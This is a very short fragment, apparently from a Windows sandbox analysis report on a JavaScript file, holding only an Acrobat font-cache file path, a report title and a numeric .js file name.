C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
213045010931018335.js